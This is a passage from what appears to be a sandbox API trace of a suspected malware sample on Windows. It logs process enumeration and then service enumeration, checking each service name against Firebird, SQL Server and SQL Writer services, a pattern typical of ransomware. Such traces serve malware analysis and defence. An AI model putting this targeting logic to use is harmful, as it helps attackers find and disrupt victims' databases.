th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_rankings_maternity.exe")) returned 1 [0222.091] lstrlenW (lpString="counting_rankings_maternity.exe") returned 31 [0222.091] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephony_assumption_pharmacies.exe")) returned 1 [0222.092] lstrlenW (lpString="telephony_assumption_pharmacies.exe") returned 35 [0222.092] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance inns helpful.exe")) returned 1 [0222.092] lstrlenW (lpString="guidance inns helpful.exe") returned 25 [0222.093] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.093] lstrlenW (lpString="svchost.exe") returned 11 [0222.093] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0222.094] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0222.094] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0222.095] lstrlenW (lpString="conhost.exe") returned 11 [0222.095] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0222.096] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0222.096] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0222.097] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0222.097] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0222.097] lstrlenW (lpString="WMIADAP.exe") returned 11 [0222.097] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0xb04, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0222.098] lstrlenW (lpString="11.exe") returned 6 [0222.098] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0222.099] lstrlenW (lpString="cmd.exe") returned 7 [0222.099] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0222.100] lstrlenW (lpString="conhost.exe") returned 11 [0222.100] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0222.100] lstrlenW (lpString="LogonUI.exe") returned 11 [0222.100] Process32NextW (in: hSnapshot=0x330, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0222.101] CloseHandle (hObject=0x330) returned 1 [0222.101] Sleep (dwMilliseconds=0x1f4) [0222.607] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x889958 [0222.608] EnumServicesStatusExW (in: hSCManager=0x889958, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0 [0222.608] GetLastError () returned 0xea [0222.608] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1e4a) returned 0x8068b8 [0222.608] EnumServicesStatusExW (in: hSCManager=0x889958, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x8068b8, cbBufSize=0x1e4a, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x8068b8, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1 [0222.609] CloseServiceHandle (hSCObject=0x889958) returned 1 [0222.609] lstrlenW (lpString="Appinfo") returned 7 [0222.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0222.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0222.609] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0222.609] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0222.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0222.609] lstrlenW (lpString="AppXSvc") returned 7 [0222.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0222.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0222.609] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0222.609] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0222.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0222.609] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0222.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0222.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0222.609] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0222.609] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0222.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0222.609] lstrlenW (lpString="Audiosrv") returned 8 [0222.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0222.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0222.609] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0222.609] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0222.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0222.609] lstrlenW (lpString="BFE") returned 3 [0222.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0222.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0222.610] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0222.610] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0222.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0222.610] lstrlenW (lpString="BITS") returned 4 [0222.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0222.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0222.610] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0222.610] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0222.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0222.610] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0222.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0222.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0222.610] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0222.610] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0222.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0222.610] lstrlenW (lpString="CDPSvc") returned 6 [0222.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0222.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0222.610] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0222.610] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0222.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0222.610] lstrlenW (lpString="ClickToRunSvc") returned 13 [0222.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0222.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0222.610] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0222.610] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0222.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0222.610] lstrlenW (lpString="ClipSVC") returned 7 [0222.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0222.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0222.610] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0222.610] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0222.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0222.610] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0222.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0222.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0222.610] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0222.611] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0222.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0222.611] lstrlenW (lpString="CryptSvc") returned 8 [0222.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0222.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0222.611] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0222.611] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0222.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0222.611] lstrlenW (lpString="DcomLaunch") returned 10 [0222.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0222.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0222.611] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0222.611] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0222.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0222.611] lstrlenW (lpString="Dhcp") returned 4 [0222.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0222.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0222.611] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0222.611] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0222.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0222.611] lstrlenW (lpString="Dnscache") returned 8 [0222.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0222.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0222.611] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0222.611] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0222.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0222.611] lstrlenW (lpString="DoSvc") returned 5 [0222.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0222.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0222.611] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0222.611] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0222.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0222.611] lstrlenW (lpString="DPS") returned 3 [0222.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0222.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0222.611] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0222.611] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0222.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0222.612] lstrlenW (lpString="DusmSvc") returned 7 [0222.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0222.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0222.612] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0222.612] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0222.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0222.612] lstrlenW (lpString="EventLog") returned 8 [0222.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0222.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0222.612] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0222.612] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0222.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0222.612] lstrlenW (lpString="EventSystem") returned 11 [0222.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0222.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0222.612] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0222.612] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0222.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0222.612] lstrlenW (lpString="FontCache") returned 9 [0222.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0222.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0222.612] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0222.612] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0222.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0222.612] lstrlenW (lpString="gpsvc") returned 5 [0222.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0222.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0222.612] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0222.612] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0222.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0222.612] lstrlenW (lpString="iphlpsvc") returned 8 [0222.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0222.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0222.613] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0222.613] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0222.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0222.613] lstrlenW (lpString="KeyIso") returned 6 [0222.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0222.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0222.613] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0222.613] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0222.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0222.613] lstrlenW (lpString="LanmanServer") returned 12 [0222.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0222.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0222.613] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0222.613] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0222.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0222.613] lstrlenW (lpString="LanmanWorkstation") returned 17 [0222.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0222.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0222.613] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0222.613] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0222.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0222.613] lstrlenW (lpString="lfsvc") returned 5 [0222.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0222.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0222.613] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0222.613] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0222.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0222.613] lstrlenW (lpString="LicenseManager") returned 14 [0222.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0222.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0222.613] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0222.614] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0222.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0222.614] lstrlenW (lpString="lmhosts") returned 7 [0222.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0222.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0222.614] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0222.614] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0222.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0222.614] lstrlenW (lpString="LSM") returned 3 [0222.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0222.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0222.614] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0222.614] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0222.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0222.614] lstrlenW (lpString="MpsSvc") returned 6 [0222.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0222.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0222.614] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0222.614] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0222.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0222.614] lstrlenW (lpString="NcbService") returned 10 [0222.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0222.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0222.614] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0222.614] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0222.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0222.614] lstrlenW (lpString="netprofm") returned 8 [0222.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0222.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0222.614] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0222.614] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0222.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0222.614] lstrlenW (lpString="NlaSvc") returned 6 [0222.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0222.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0222.615] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0222.615] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0222.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0222.615] lstrlenW (lpString="nsi") returned 3 [0222.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0222.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0222.615] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0222.615] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0222.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0222.615] lstrlenW (lpString="PcaSvc") returned 6 [0222.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0222.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0222.615] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0222.615] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0222.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0222.615] lstrlenW (lpString="PlugPlay") returned 8 [0222.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0222.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0222.615] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0222.615] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0222.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0222.615] lstrlenW (lpString="Power") returned 5 [0222.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0222.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0222.615] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0222.615] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0222.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0222.615] lstrlenW (lpString="ProfSvc") returned 7 [0222.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0222.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0222.615] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0222.615] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0222.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0222.616] lstrlenW (lpString="RpcEptMapper") returned 12 [0222.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0222.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0222.616] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0222.616] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0222.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0222.616] lstrlenW (lpString="RpcSs") returned 5 [0222.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0222.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0222.616] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0222.616] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0222.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0222.616] lstrlenW (lpString="SamSs") returned 5 [0222.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0222.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0222.616] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0222.616] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0222.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0222.616] lstrlenW (lpString="Schedule") returned 8 [0222.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0222.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0222.616] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0222.616] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") 